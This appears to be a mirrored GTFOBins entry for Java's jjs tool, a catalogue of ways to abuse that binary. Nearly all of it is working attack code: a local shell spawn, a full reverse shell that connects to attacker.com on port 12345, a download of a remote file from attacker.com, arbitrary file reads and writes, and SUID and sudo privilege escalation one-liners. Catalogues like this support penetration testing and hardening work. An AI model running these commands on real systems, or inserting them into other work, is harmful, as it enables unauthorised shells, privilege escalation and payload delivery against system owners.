mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-12-27 07:18:48 +01:00
51 lines
2.7 KiB
Markdown
51 lines
2.7 KiB
Markdown
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---
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description: This tool is installed starting with Java SE 8.
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functions:
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shell:
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- code: echo "Java.type('java.lang.Runtime').getRuntime().exec('/bin/sh -c \$@|sh _ echo sh <$(tty) >$(tty) 2>$(tty)').waitFor()" | jjs
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reverse-shell:
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- description: Run `nc -l -p 12345` on the attacker box to receive the shell.
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code: |
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export RHOST=attacker.com
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export RPORT=12345
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echo 'var host=Java.type("java.lang.System").getenv("RHOST");
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var port=Java.type("java.lang.System").getenv("RPORT");
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var ProcessBuilder = Java.type("java.lang.ProcessBuilder");
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var p=new ProcessBuilder("/bin/bash", "-i").redirectErrorStream(true).start();
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var Socket = Java.type("java.net.Socket");
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var s=new Socket(host,port);
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var pi=p.getInputStream(),pe=p.getErrorStream(),si=s.getInputStream();
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var po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){ while(pi.available()>0)so.write(pi.read()); while(pe.available()>0)so.write(pe.read()); while(si.available()>0)po.write(si.read()); so.flush();po.flush(); Java.type("java.lang.Thread").sleep(50); try {p.exitValue();break;}catch (e){}};p.destroy();s.close();' | jjs
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file-download:
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- description: Fetch a remote file via HTTP GET request.
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code: |
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export URL=http://attacker.com/file_to_get
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export LFILE=file_to_save
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echo "var URL = Java.type('java.net.URL');
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var ws = new URL('$URL');
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var Channels = Java.type('java.nio.channels.Channels');
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var rbc = Channels.newChannel(ws.openStream());
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var FileOutputStream = Java.type('java.io.FileOutputStream');
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var fos = new FileOutputStream('$LFILE');
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fos.getChannel().transferFrom(rbc, 0, Number.MAX_VALUE);
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fos.close();
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rbc.close();" | jjs
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file-write:
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- code: |
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echo 'var FileWriter = Java.type("java.io.FileWriter");
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var fw=new FileWriter("./file_to_write");
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fw.write("DATA");
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fw.close();' | jjs
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file-read:
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- code: |
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echo 'var BufferedReader = Java.type("java.io.BufferedReader");
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var FileReader = Java.type("java.io.FileReader");
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var br = new BufferedReader(new FileReader("file_to_read"));
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while ((line = br.readLine()) != null) { print(line); }' | jjs
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suid:
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- description: This has been found working in macOS but failing on Linux systems.
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code: echo "Java.type('java.lang.Runtime').getRuntime().exec('/bin/sh -pc \$@|sh\${IFS}-p _ echo sh -p <$(tty) >$(tty) 2>$(tty)').waitFor()" | ./jjs
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sudo:
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- code: echo "Java.type('java.lang.Runtime').getRuntime().exec('/bin/sh -c \$@|sh _ echo sh <$(tty) >$(tty) 2>$(tty)').waitFor()" | sudo jjs
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---
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